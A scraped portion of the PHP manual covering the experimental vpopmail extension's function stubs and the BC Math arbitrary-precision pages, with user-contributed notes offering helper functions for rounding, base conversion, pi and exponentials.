  • vpopmail_alias_del — Deletes all virtual aliases of a user
  • vpopmail_alias_get_all — Get all lines of an alias for a domain
  • vpopmail_alias_get — Get all lines of an alias for a domain
  • vpopmail_auth_user — Attempt to validate a username/domain/password
  • vpopmail_del_domain_ex — Delete a virtual domain
  • vpopmail_del_domain — Delete a virtual domain
  • vpopmail_del_user — Delete a user from a virtual domain
  • vpopmail_error — Get text message for last vpopmail error
  • vpopmail_passwd — Change a virtual user's password
  • vpopmail_set_user_quota — Sets a virtual user's quota

User Contributed Notes

rwidmer at sourceforge dot net 02-Jun-2004 06:01
There is a more robust version of this extension, and other goodies for working with vpopmail from PHP available at:  http://pmailadmin.sourceforge.net/

The extension will get added back to PECL once it is finished and tested.
Chester 11-Apr-2004 04:39
If you set vpopmail up with mysql support its quite easy to get a full listing of domains/users.  You'l only have to use the vpopmail php functions to add/delete users/domains in a own written front end.
justin at linuxgroup dot net 29-Apr-2003 04:11
In reply to "You can easily save the directory listing of ~vpopmail/domains"

This would only work if you had 100 domains or less. After that, domains are broken up into directories. Vpopmail will not put more then 100 domains in a directory because it's not efficient.
dredman at najt dot nu 01-Dec-2002 06:42
just compile MySQL support into vpopmail and you've got it. then you can get all the needed info from the db.
till'at'klimpong'dot'com'dot'NOSPAM 16-Oct-2002 07:31
In regard to an earlier post:

You can easily save the directory listing of ~vpopmail/domains and get the list of all domains on your system.

That's fairly easy and if you don't add/remove each day, you can keep the list static or update it via cron on certain intervals.
thomas at abitur003 dot de 15-Oct-2002 11:50
Well, you can safe your qmail-data like the domains, etc. in a database, which is quite usefull in my eyes. You just have to keep the data synchronized.
mike at hbhosting dot com 14-Oct-2002 05:07
This library is kind of useless without key functions like get_domain_info() and list_all_domains(). You can add and delete virtual domains, but you cannot list or view them. Without such functionality you can't go and write your own PHP front end to qmail.
Predefined Constants
vpopmail_add_alias_domain_ex
vpopmail


Add alias to an existing virtual domain

vpopmail Functions
vpopmail_add_alias_domain
vpopmail Functions
PHP Manual

vpopmail_add_alias_domain_ex

(PHP 4 >= 4.0.5, PECL vpopmail >= 0.2)

vpopmail_add_alias_domain_ex — Add alias to an existing virtual domain

Description

bool vpopmail_add_alias_domain_ex ( string $olddomain , string $newdomain )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
vpopmail Functions
vpopmail_add_alias_domain
vpopmail Functions


Add an alias for a virtual domain

vpopmail_add_alias_domain_ex
vpopmail_add_domain_ex
vpopmail Functions
PHP Manual

vpopmail_add_alias_domain

(PHP 4 >= 4.0.5, PECL vpopmail >= 0.2)

vpopmail_add_alias_domain — Add an alias for a virtual domain

Description

bool vpopmail_add_alias_domain ( string $domain , string $aliasdomain )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
vpopmail_add_alias_domain_ex
vpopmail_add_domain_ex
vpopmail Functions


Add a new virtual domain

vpopmail_add_alias_domain
vpopmail_add_domain
vpopmail Functions
PHP Manual

vpopmail_add_domain_ex

(PHP 4 >= 4.0.5, PECL vpopmail >= 0.2)

vpopmail_add_domain_ex — Add a new virtual domain

Description

bool vpopmail_add_domain_ex ( string $domain , string $passwd [, string $quota [, string $bounce [, bool $apop ]]] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
vpopmail_add_alias_domain
vpopmail_add_domain
vpopmail Functions


Add a new virtual domain

vpopmail_add_domain_ex
vpopmail_add_user
vpopmail Functions
PHP Manual

vpopmail_add_domain

(PHP 4 >= 4.0.5, PECL vpopmail >= 0.2)

vpopmail_add_domain — Add a new virtual domain

Description

bool vpopmail_add_domain ( string $domain , string $dir , int $uid , int $gid )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
vpopmail_add_domain_ex
vpopmail_add_user
vpopmail Functions


Add a new user to the specified virtual domain

vpopmail_add_domain
vpopmail_alias_add
vpopmail Functions
PHP Manual

vpopmail_add_user

(PHP 4 >= 4.0.5, PECL vpopmail >= 0.2)

vpopmail_add_user — Add a new user to the specified virtual domain

Description

bool vpopmail_add_user ( string $user , string $domain , string $password [, string $gecos [, bool $apop ]] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
vpopmail_add_domain
vpopmail_alias_add
vpopmail Functions


Insert a virtual alias

vpopmail_add_user
vpopmail_alias_del_domain
vpopmail Functions
PHP Manual

vpopmail_alias_add

(PHP 4 >= 4.0.7, PECL vpopmail >= 0.2)

vpopmail_alias_add — Insert a virtual alias

Description

bool vpopmail_alias_add ( string $user , string $domain , string $alias )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
vpopmail_add_user
vpopmail_alias_del_domain
vpopmail Functions


Deletes all virtual aliases of a domain

vpopmail_alias_add
vpopmail_alias_del
vpopmail Functions
PHP Manual

vpopmail_alias_del_domain

(PHP 4 >= 4.0.7, PECL vpopmail >= 0.2)

vpopmail_alias_del_domain — Deletes all virtual aliases of a domain

Description

bool vpopmail_alias_del_domain ( string $domain )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
vpopmail_alias_add
vpopmail_alias_del
vpopmail Functions


Deletes all virtual aliases of a user

vpopmail_alias_del_domain
vpopmail_alias_get_all
vpopmail Functions
PHP Manual

vpopmail_alias_del

(PHP 4 >= 4.0.7, PECL vpopmail >= 0.2)

vpopmail_alias_del — Deletes all virtual aliases of a user

Description

bool vpopmail_alias_del ( string $user , string $domain )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
vpopmail_alias_del_domain
vpopmail_alias_get_all
vpopmail Functions


Get all lines of an alias for a domain

vpopmail_alias_del
vpopmail_alias_get
vpopmail Functions
PHP Manual

vpopmail_alias_get_all

(PHP 4 >= 4.0.7, PECL vpopmail >= 0.2)

vpopmail_alias_get_all — Get all lines of an alias for a domain

Description

array vpopmail_alias_get_all ( string $domain )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

phpnet at syberisle dot net 09-Aug-2002 04:18
The $key part gives us the alias
i.e. - for .qmail-draxon the alias will hold "draxon"
the $value part gives us another array that houses the content of the .qmail file one array entry per line.

note: even if there is only 1 entry in the .qmail file it will still return an array

$aliases = vpopmail_alias_get_all("syberisle.net");
foreach($aliases AS $key => $value) {
  echo "$key\n";
  foreach($value AS $vkey => $alias) {
    echo "\t=> $alias\n";
  }
}

Enjoy,
Dave L
vpopmail_alias_del
vpopmail_alias_get
vpopmail Functions


Get all lines of an alias for a domain

vpopmail_alias_get_all
vpopmail_auth_user
vpopmail Functions
PHP Manual

vpopmail_alias_get

(PHP 4 >= 4.0.7, PECL vpopmail >= 0.2)

vpopmail_alias_get — Get all lines of an alias for a domain

Description

array vpopmail_alias_get ( string $alias , string $domain )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
vpopmail_alias_get_all
vpopmail_auth_user
vpopmail Functions


Attempt to validate a username/domain/password

vpopmail_alias_get
vpopmail_del_domain_ex
vpopmail Functions
PHP Manual

vpopmail_auth_user

(PHP 4 >= 4.0.5, PECL vpopmail >= 0.2)

vpopmail_auth_user — Attempt to validate a username/domain/password

Description

bool vpopmail_auth_user ( string $user , string $domain , string $password [, string $apop ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
vpopmail_alias_get
vpopmail_del_domain_ex
vpopmail Functions


Delete a virtual domain

vpopmail_auth_user
vpopmail_del_domain
vpopmail Functions
PHP Manual

vpopmail_del_domain_ex

(PHP 4 >= 4.0.5, PECL vpopmail >= 0.2)

vpopmail_del_domain_ex — Delete a virtual domain

Description

bool vpopmail_del_domain_ex ( string $domain )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
vpopmail_auth_user
vpopmail_del_domain
vpopmail Functions


Delete a virtual domain

vpopmail_del_domain_ex
vpopmail_del_user
vpopmail Functions
PHP Manual

vpopmail_del_domain

(PHP 4 >= 4.0.5, PECL vpopmail >= 0.2)

vpopmail_del_domain — Delete a virtual domain

Description

bool vpopmail_del_domain ( string $domain )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
vpopmail_del_domain_ex
vpopmail_del_user
vpopmail Functions


Delete a user from a virtual domain

vpopmail_del_domain
vpopmail_error
vpopmail Functions
PHP Manual

vpopmail_del_user

(PHP 4 >= 4.0.5, PECL vpopmail >= 0.2)

vpopmail_del_user — Delete a user from a virtual domain

Description

bool vpopmail_del_user ( string $user , string $domain )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
vpopmail_del_domain
vpopmail_error
vpopmail Functions


Get text message for last vpopmail error

vpopmail_del_user
vpopmail_passwd
vpopmail Functions
PHP Manual

vpopmail_error

(PHP 4 >= 4.0.5, PECL vpopmail >= 0.2)

vpopmail_error — Get text message for last vpopmail error

Description

string vpopmail_error ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
vpopmail_del_user
vpopmail_passwd
vpopmail Functions


Change a virtual user's password

vpopmail_error
vpopmail_set_user_quota
vpopmail Functions
PHP Manual

vpopmail_passwd

(PHP 4 >= 4.0.5, PECL vpopmail >= 0.2)

vpopmail_passwd — Change a virtual user's password

Description

bool vpopmail_passwd ( string $user , string $domain , string $password [, bool $apop ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
vpopmail_error
vpopmail_set_user_quota
vpopmail Functions


Sets a virtual user's quota

vpopmail_passwd
Mathematical Extensions
vpopmail Functions
PHP Manual

vpopmail_set_user_quota

(PHP 4 >= 4.0.5, PECL vpopmail >= 0.2)

vpopmail_set_user_quota — Sets a virtual user's quota

Description

bool vpopmail_set_user_quota ( string $user , string $domain , string $quota )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
vpopmail_passwd
Mathematical Extensions
vpopmail Functions


Mathematical Extensions

  • BC Math — BCMath Arbitrary Precision Mathematics
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • BC Math Functions
  • GMP — GNU Multiple Precision
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • GMP Functions
  • Math — Mathematical Functions
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Math Functions
  • Statistics
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Statistic Functions

User Contributed Notes

There are no user contributed notes for this page.
vpopmail_set_user_quota
BC Math
Function Reference


BCMath Arbitrary Precision Mathematics

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • BC Math Functions
    • bcadd — Add two arbitrary precision numbers
    • bccomp — Compare two arbitrary precision numbers
    • bcdiv — Divide two arbitrary precision numbers
    • bcmod — Get modulus of an arbitrary precision number
    • bcmul — Multiply two arbitrary precision number
    • bcpow — Raise an arbitrary precision number to another
    • bcpowmod — Raise an arbitrary precision number to another, reduced by a specified modulus
    • bcscale — Set default scale parameter for all bc math functions
    • bcsqrt — Get the square root of an arbitrary precision number
    • bcsub — Subtract one arbitrary precision number from another

User Contributed Notes

There are no user contributed notes for this page.
Mathematical Extensions
Introduction
Mathematical Extensions


Introduction

For arbitrary precision mathematics PHP offers the Binary Calculator which supports numbers of any size and precision, represented as strings.

User Contributed Notes

There are no user contributed notes for this page.
BC Math
Installing/Configuring
BC Math


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
BC Math


Requirements

Since PHP 4.0.4, libbcmath is bundled with PHP. You don't need any external libraries for this extension.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

These functions are only available if PHP was configured with --enable-bcmath .

The Windows version of PHP has built-in support for this extension. You do not need to load any additional extensions in order to use these functions.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

BC math configuration options
Name | Default | Changeable | Changelog
bcmath.scale | "0" | PHP_INI_ALL |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

bcmath.scale integer

Number of decimal digits for all bcmath functions. See also bcscale().

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
BC Math Functions
BC Math


BC Math Functions

Table of Contents

  • bcadd — Add two arbitrary precision numbers
  • bccomp — Compare two arbitrary precision numbers
  • bcdiv — Divide two arbitrary precision numbers
  • bcmod — Get modulus of an arbitrary precision number
  • bcmul — Multiply two arbitrary precision number
  • bcpow — Raise an arbitrary precision number to another
  • bcpowmod — Raise an arbitrary precision number to another, reduced by a specified modulus
  • bcscale — Set default scale parameter for all bc math functions
  • bcsqrt — Get the square root of an arbitrary precision number
  • bcsub — Subtract one arbitrary precision number from another

User Contributed Notes

dawidgarus at gmail dot com 28-Dec-2011 10:22
If you too are confused with illegible code like this:
<?php
$a = "3";
$b = "5";
bcadd(bcmod(bcadd(bcdiv(bcsqrt(bcadd(7, bcpow($a, 2))), 4), $b), "4"), "0.5"); // i might made a mistake somewhere
?>

You may consider use my function, which makes example above look:
<?php
bc("(sqrt(7 + $1^2) / 4 + $2) % 4 + 0.5", "3", "5");
?>

Code:
<?php

function bc() {
        $functions = 'sqrt';
        // list of | separated functions
        // sqrt refer to bcsqrt etc.
        // function must take exactly 1 argument

        $argv = func_get_args();
        $string = str_replace(' ', '', '('.$argv[0].')');
        $string = preg_replace('/\$([0-9\.]+)/e', '$argv[$1]', $string);
        while (preg_match('/(('.$functions.')?)\(([^\)\(]*)\)/', $string, $match)) {
                while (
                        preg_match('/([0-9\.]+)(\^)([0-9\.]+)/', $match[3], $m) ||
                        preg_match('/([0-9\.]+)([\*\/\%])([0-9\.]+)/', $match[3], $m) ||
                        preg_match('/([0-9\.]+)([\+\-])([0-9\.]+)/', $match[3], $m)
                ) {
                        switch($m[2]) {
                                case '+': $result = bcadd($m[1], $m[3]); break;
                                case '-': $result = bcsub($m[1], $m[3]); break;
                                case '*': $result = bcmul($m[1], $m[3]); break;
                                case '/': $result = bcdiv($m[1], $m[3]); break;
                                case '%': $result = bcmod($m[1], $m[3]); break;
                                case '^': $result = bcpow($m[1], $m[3]); break;
                        }
                        $match[3] = str_replace($m[0], $result, $match[3]);
                }
                if (!empty($match[1]) && function_exists($func = 'bc'.$match[1]))  {
                        $match[3] = $func($match[3]);
                }
                $string = str_replace($match[0], $match[3], $string);
        }
        return $string;
}

?>

Note you must define scale with bcscale().
artefact2 at gmail dot com 29-Jul-2010 06:18
Here are some useful functions to convert large hex numbers from and to large decimal ones :

<?php
    public static function bchexdec($hex) {
        if(strlen($hex) == 1) {
            return hexdec($hex);
        } else {
            $remain = substr($hex, 0, -1);
            $last = substr($hex, -1);
            return bcadd(bcmul(16, bchexdec($remain)), hexdec($last));
        }
    }

    public static function bcdechex($dec) {
        $last = bcmod($dec, 16);
        $remain = bcdiv(bcsub($dec, $last), 16);

        if($remain == 0) {
            return dechex($last);
        } else {
            return bcdechex($remain).dechex($last);
        }
    }
thomas at tgohome dot com 14-Nov-2009 03:17
Some useful bcmath functions:

<?php

/*
 * Computes the factoral (x!).
 * @author Thomas Oldbury.
 * @license Public domain.
 */
function bcfact($fact, $scale = 100)
{
    if($fact == 1) return 1;
    return bcmul($fact, bcfact(bcsub($fact, '1'), $scale), $scale);
}

/*
 * Computes e^x, where e is Euler's constant, or approximately 2.71828.
 * @author Thomas Oldbury.
 * @license Public domain.
 */
function bcexp($x, $iters = 7, $scale = 100)
{
    /* Compute e^x. */
    $res = bcadd('1.0', $x, $scale);
    for($i = 0; $i < $iters; $i++)
    {
        $res += bcdiv(bcpow($x, bcadd($i, '2'), $scale), bcfact(bcadd($i, '2'), $scale), $scale);
    }
    return $res;
}

/*
 * Computes ln(x).
 * @author Thomas Oldbury.
 * @license Public domain.
 */
function bcln($a, $iters = 10, $scale = 100)
{
    $result = "0.0";

    for($i = 0; $i < $iters; $i++)
    {
        $pow = bcadd("1.0", bcmul($i, "2.0", $scale), $scale);
        //$pow = 1 + ($i * 2);
        $mul = bcdiv("1.0", $pow, $scale);
        $fraction = bcmul($mul, bcpow(bcdiv(bcsub($a, "1.0", $scale), bcadd($a, "1.0", $scale), $scale), $pow, $scale), $scale);
        $result = bcadd($fraction, $result, $scale);
    }

    $res = bcmul("2.0", $result, $scale);
    return $res;
}

/*
 * Computes a^b, where a and b can have decimal digits, be negative and/or very large.
 * Also works for 0^0. Only able to calculate up to 10 digits. Quite slow.
 * @author Thomas Oldbury.
 * @license Public domain.
 */
function bcpowx($a, $b, $iters = 25, $scale = 100)
{
    $ln = bcln($a, $iters, $scale);
    return bcexp(bcmul($ln, $b, $scale), $iters, $scale);
}

$precision = 35;

echo "3^4.5,          precision 15, iters 25 = " . bcpowx('3', '4.5', 25, $precision) . "\n";
echo "4.5^3,          precision 15, iters 25 = " . bcpowx('4.5', '3', 25, $precision) . "\n";
echo "8^1/2,          precision 15, iters 25 = " . bcpowx('8', '0.5', 25, $precision) . "\n";
echo "28^-1,          precision 15, iters 25 = " . bcpowx('28', '-1', 25, $precision) . "\n";
echo "432^0,          precision 15, iters 25 = " . bcpowx('432', '0', 25, $precision) . "\n";
echo "0^0,            precision 15, iters 25 = " . bcpowx('0.0', '0', 25, $precision) . "\n";
echo "9^999,          precision 15, iters 25 = " . bcpowx('9', '999', 25, $precision) . "\n";
echo "9^9999,         precision 15, iters 25 = " . bcpowx('9', '9999', 25, $precision) . "\n";
echo "9^99999,        precision 15, iters 25 = " . bcpowx('9', '99999', 25, $precision) . "\n";
echo "9^999999,       precision 15, iters 25 = " . bcpowx('9', '999999', 25, $precision) . "\n";
echo "9^9999999,      precision 15, iters 25 = " . bcpowx('9', '9999999', 25, $precision) . "\n";
echo "9^99999999,     precision 15, iters 25 = " . bcpowx('9', '99999999', 25, $precision) . "\n";
echo "9^999999999,    precision 15, iters 25 = " . bcpowx('9', '999999999', 25, $precision) . "\n";
echo "9^9999999999,   precision 15, iters 25 = " . bcpowx('9', '9999999999', 25, $precision) . "\n";
echo "9^99999999999,  precision 15, iters 25 = " . bcpowx('9', '99999999999', 25, $precision) . "\n";
echo "9^999999999999, precision 15, iters 25 = " . bcpowx('9', '999999999999', 25, $precision) . "\n";

?>
francois dot barbier at gmail dot com 12-Aug-2009 10:19
As "benjcarson at digitaljunkies dot ca" (http://www.php.net/ref.bc.php#23038) noted in the first two comments, bcmath doesn't accept exponential notation.

Moreover, you might have other problems if you feed the bcmath functions directly with floating point numbers.
Consider the following example:
<?php
bcscale(1);
$a = 0.8;
$b = 0.7;
var_dump((string) $a);   // string(3) "0.8"
var_dump((string) $b);   // string(3) "0.a"
var_dump(bcadd($a, $b)); // string(3) "1.5"
setLocale(LC_ALL, 'fr_BE.UTF-8');
var_dump((string) $a);   // string(3) "0,8" --> note the comma
var_dump((string) $b);   // string(3) "0,7" --> note the comma
var_dump(bcadd($a, $b)); // string(3) "0.0"
?>
The floating point numbers passed to the bcadd() function are automatically converted to string using the localized decimal separator. However, the bcmath functions always use a full stop, which results in the last result being incorrect.

Below is a function to convert floating point numbers to strings correctly. It takes care of the decimal separator and the exponential notation. It also preserve the precision without drifting away (e.g. 1.0 doesn't become 0.99999...)
<?php
/**
 * Convert a number to locale independent string without E notation and without
 * loosing precision
 *
 * @param      int/float/double $fNumber The number to convert.
 * @return     string The locale independent converted number.
 */
function bcconv($fNumber)
{
    $sAppend = '';
    $iDecimals = ini_get('precision') - floor(log10(abs($fNumber)));
    if (0 > $iDecimals)
    {
        $fNumber *= pow(10, $iDecimals);
        $sAppend = str_repeat('0', -$iDecimals);
        $iDecimals = 0;
    }
    return number_format($fNumber, $iDecimals, '.', '').$sAppend;
}
?>

Example:
<?php
setLocale(LC_ALL, 'fr_BE.UTF-8'); // decimal separator is now a comma
$precision = ini_get('precision') + 2; // should give 16
bcscale($precision);
$big = pow(10, $precision);
$small = 1 / $big;
var_dump(bcconv($big + $small));               // string(17) "10000000000000000"
var_dump(bcadd($big, $small));                 // string(18) "0.0000000000000000"
var_dump(bcadd(bcconv($big), bcconv($small))); // string(34) "10000000000000000.0000000000000001"
?>
The first result's precision loss is due to PHP's internal floating point numbers' representation.
The second result is wrong because of the localized decimal separator.
Finally, the last result is correct.
Charles 13-Aug-2008 10:04
Function to round bc string:

<?php
function bcround($strval, $precision = 0) {
    if (false !== ($pos = strpos($strval, '.')) && (strlen($strval) - $pos - 1) > $precision) {
        $zeros = str_repeat("0", $precision);
        return bcadd($strval, "0.{$zeros}5", $precision);
    } else {
        return $strval;
    }
}
?>
vinni10 at gmx dot net 27-Jul-2008 06:48
Here is a better bcrand() version.
It uses the standart mt_rand() funktion and should work on other systems then unix ;-)

<?php
/**
 * BCrand - Generates very big random numbers.
 * string bcrand([mixed $min], mixed $max);
 */

function bcrand($min, $max=false)
{
    if(!$max)
    {
        $max = $min;
        $min = 0;
    }

    return bcadd(
                bcmul(
                    bcdiv(
                        mt_rand(0, mt_getrandmax()),
                        mt_getrandmax(),

                        strlen($max)
                    ),
                    bcsub(
                        bcadd($max,1),
                        $min
                    )

                ),
                $min
            );
}

echo bcrand("0", "9999999999999999999999999999999999999999999999999999999999");

?>

Hope i could help someone :-)
Bouke Haarsma 29-Mar-2008 03:40
Please be aware not to use/have spaces in your strings. It took me a while to find the error in some advanced calculations!

<?php
echo bcadd("1", "2"); // 3
echo bcadd("1", "2 "); // 1
echo bcadd("1", " 2"); // 1
?>
bebaWork at gmail dot com 05-Dec-2007 06:11
For install on Feora Core:

> yum install php-bcmath
> /etc/init.d/httpd restart
udochen at gmail dot com 27-Feb-2007 11:48
Code below implements standard rounding on 5 or higer round up, else don't round.  There wasn't a round function for the BC functions, so here is a simple one that works. Same args as round, except takes strings and returns a string for more BC operations.

----------------

function roundbc($x, $p) {

     $x = trim($x);
     $data = explode(".",$x);

     if(substr($data[1],$p,1) >= "5") {

           //generate the add string.
           $i=0;
           $addString = "5";
           while($i < $p) {
               $addString = "0" . $addString;
               $i++;
           }//end while.
           $addString = "." . $addString;

           //now add the addString to the original fraction.
           $sum = bcadd($data[0] . "." . $data   [1],$addString,$p+1);

           //explode the result.
           $sumData = explode(".",$sum);

           //now, return the correct precision on the rounded number.
           return $sumData[0] . "." . substr($sumData[1],0,$p);

      } else {

           //don't round the value and return the orignal to the desired
           //precision or less.
           return $data[0] . "." . substr($data[1],0,$p);

      }//end if/else.

   }//end roundbc.
mgcclx at gmail dot com 29-Jan-2007 06:52
I wrote this function with many BCMath functions. It should be the fastest function in PHP to find the number pi into any precision, my test is it generate 2000 digits after the dot in 8 seconds. I don't think you need anything more than that.
<?php
//bcpi function with Gauss-Legendre algorithm
//by Chao Xu (Mgccl)
function bcpi($precision){
    $limit = ceil(log($precision)/log(2))-1;
    bcscale($precision+6);
    $a = 1;
    $b = bcdiv(1,bcsqrt(2));
    $t = 1/4;
    $p = 1;
    while($n < $limit){
        $x = bcdiv(bcadd($a,$b),2);
        $y = bcsqrt(bcmul($a, $b));
        $t = bcsub($t, bcmul($p,bcpow(bcsub($a,$x),2)));
        $a = $x;
        $b = $y;
        $p = bcmul(2,$p);
        ++$n;
    }
    return bcdiv(bcpow(bcadd($a, $b),2),bcmul(4,$t),$precision);
}
?>
marcus at synchromedia dot co dot uk 09-Aug-2006 09:17
Oops, first posting contained wrong code... sorry.
An amendment to the entry by pulstar at mail dot com - the digits() function can be made much faster (remove the line breaks from the big string, and make sure you don't miss any characters!):

function digits2($base) {
    if($base < 64) {
        return substr('0123456789abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ-_', 0, $base);
    } else {
        return substr("\x0\x1\x2\x3\x4\x5\x6\x7\x8\x9\xa\xb\xc\xd
\xe\xf\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d
\x1e\x1f\x20!\x22#\x24%&'()*+,-./0123456789:;<=>
\x3f@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]
^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84\x85
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95
\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5
\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5
\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5
\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5
\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5
\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6
\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff", 0, $base);
    }
}

in my benchmarks, this is around 150x faster for 256 digits
stonehew ut gm a il det com 24-Nov-2004 09:31
Like any other bc function, you can't trust the last couple of digits, but everything else seems to check out.  If you want to use this for anything important, you may want to verify this against other sources of pi before use.  This function calculates 100 decimal places of pi in 329 iterations -- not exactly fast (each iteration calls the factorial function, from below, twice), so I try to avoid calling it more than once.

<?
//arbitrary precision pi approximator
//author tom boothby
//free for any use

function bcpi() {
    $r=2;
    $i=0;
    $or=0;

    while(bccomp($or,$r)) {
        $i++;
        $or=$r;
        $r = bcadd($r,bcdiv(bcmul(bcpow(bcfact($i),2),
                        bcpow(2,$i+1)),bcfact(2*$i+1)));
    }

    return $r;
}

?>
stonehew et g m a i l dut com 23-Nov-2004 11:20
I hacked these taylor expansions up to make diagrams for some physics homework.  I don't think you'll be wanting to do any real science with PHP... but what the hell, why not?  I plan to implement either a spigot algorithm or something similar to generate pi in the near future.

<?
// arbitrary precision sin and cosine functions
// author tom boothby
// free for any use

function bcfact($n) {
    $r = $n--;
    while($n>1) $r=bcmul($r,$n--);
    return $r;
}

function bcsin($a) {
    $or= $a;
    $r = bcsub($a,bcdiv(bcpow($a,3),6));
    $i = 2;
    while(bccomp($or,$r)) {
        $or=$r;
        switch($i%2) {
          case 0:  $r = bcadd($r,bcdiv(bcpow($a,$i*2+1),bcfact($i*2+1))); break;
          default: $r = bcsub($r,bcdiv(bcpow($a,$i*2+1),bcfact($i*2+1))); break;
        }
        $i++;
    }
    return $r;
}

function bccos($a) {
    $or= $a;
    $r = bcsub(1,bcdiv(bcpow($a,2),2));
    $i = 2;
    while(bccomp($or,$r)) {
        $or=$r;
        switch($i%2) {
          case 0:  $r = bcadd($r,bcdiv(bcpow($a,$i*2),bcfact($i*2))); break;
          default: $r = bcsub($r,bcdiv(bcpow($a,$i*2),bcfact($i*2))); break;
        }
        $i++;
    }
    return $r;
}

?>
Diabolos at GMail dot com 28-Oct-2004 11:42
Here's a function to compute the natural exponential function in arbitrary precision using the basic bcMath arithmetic operations.

EXAMPLE:
To compute the exponential function of 1.7 to 36 decimals:

$y = bcExp("1.7", 36);

The result:
4.331733759839529271053448625299468628

would be returned in variable $y

NOTE:
